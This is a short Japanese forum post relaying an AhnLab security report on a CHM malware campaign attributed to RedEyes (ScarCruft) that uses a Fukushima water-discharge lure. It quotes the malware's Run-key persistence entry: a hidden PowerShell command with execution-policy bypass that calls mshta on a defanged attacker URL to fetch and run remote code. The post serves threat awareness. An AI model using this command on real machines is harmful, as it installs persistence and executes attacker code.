🐈.md (22)

18 野に咲く名無し@転載禁止 (主) 2023/09/06 00:00:54

福島汚染水放流内容を利用したCHMマルウェア：RedEyes（ScarCruft）
https://asec.ahnlab.com/ko/56654/

RUN 키 등록
레지스트리 경로 : HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
값 이름 : fGZtm
값 : c:\windows\system32\cmd.exe /c Powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass ping -n 1 -w 391763 2.2.2.2 || mshta hxxp://navercorp[.]ru/dashboard/image/202302/4.html